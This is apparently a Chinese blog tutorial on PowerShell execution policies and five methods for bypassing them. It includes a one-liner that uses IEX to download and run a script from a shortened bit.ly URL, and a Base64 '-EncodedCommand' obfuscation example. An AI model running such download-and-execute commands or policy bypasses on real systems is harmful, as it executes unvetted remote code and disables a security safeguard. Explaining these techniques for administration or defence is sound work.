当执行脚本的时候 你可能会在调用的时候出现报错,这是powershell的安全执行策略,下面我们来了解一下执行策略:PowerShell 提供了 Restricted、AllSigned、RemoteSigned、Unrestricted、Bypass、Undefined 六种类型的执行策略简单介绍各种策略如下:
名称与说明:
- Restricted 受限制的,可以执行单个的命令,但是不能执行脚本Windows 8, Windows Server 2012, and Windows 8.1中默认就是这种策略,所以是不能执行脚本的,执行就会报错,那么如何才能执行呢?Set-ExecutionPolicy -ExecutionPolicy Bypass就是设置策略为Bypass这样就可以执行脚本了。
- AllSigned AllSigned 执行策略允许执行所有具有数字签名的脚本
- RemoteSigned 当执行从网络上下载的脚本时,需要脚本具有数字签名,否则不会运行这个脚本。如果是在本地创建的脚本则可以直接执行,不要求脚本具有数字签名。
- Unrestricted 这是一种比较宽容的策略,允许运行未签名的脚本。对于从网络上下载的脚本,在运行前会进行安全性提示。需要你确认是否执行脚本
- Bypass Bypass 执行策略对脚本的执行不设任何的限制,任何脚本都可以执行,并且不会有安全性提示。
- Undefined Undefined 表示没有设置脚本策略。当然此时会发生继承或应用默认的脚本策略。
默认情况下,它是“Restricted”(限制)的
Get-ExecutionPolicy
获取当前的策略:
设置为Set-ExecutionPolicy Restricted
接下来讲述的绕过方法:
第一种: 直接复制要运行的代码进去
特点:不会更改配置或需要写入磁盘。
第二种: 从文件中读取脚本并通过PowerShell的标准输入(Get-Content Powershell命令 或者 type命令)
特点:需要写入磁盘
第三种: 从网络上下载脚本并通过IEX执行它
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
特点:无需写入磁盘
第四种: 使用EncodeCommand
完整的命令:
powershell交互模式下
$command = "Write-Host 'My voice is my passport, verify me.'"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
powershell.exe -EncodedCommand $encodedCommand
通过简短的命令使用编码串:
powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA
第五种: 使用"Bypass"标记Execution Policy
这个方法简单粗暴
自己也只是列了几种方法 大家想知道更多的方法可以参照:
https://www.freebuf.com/articles/system/93829.html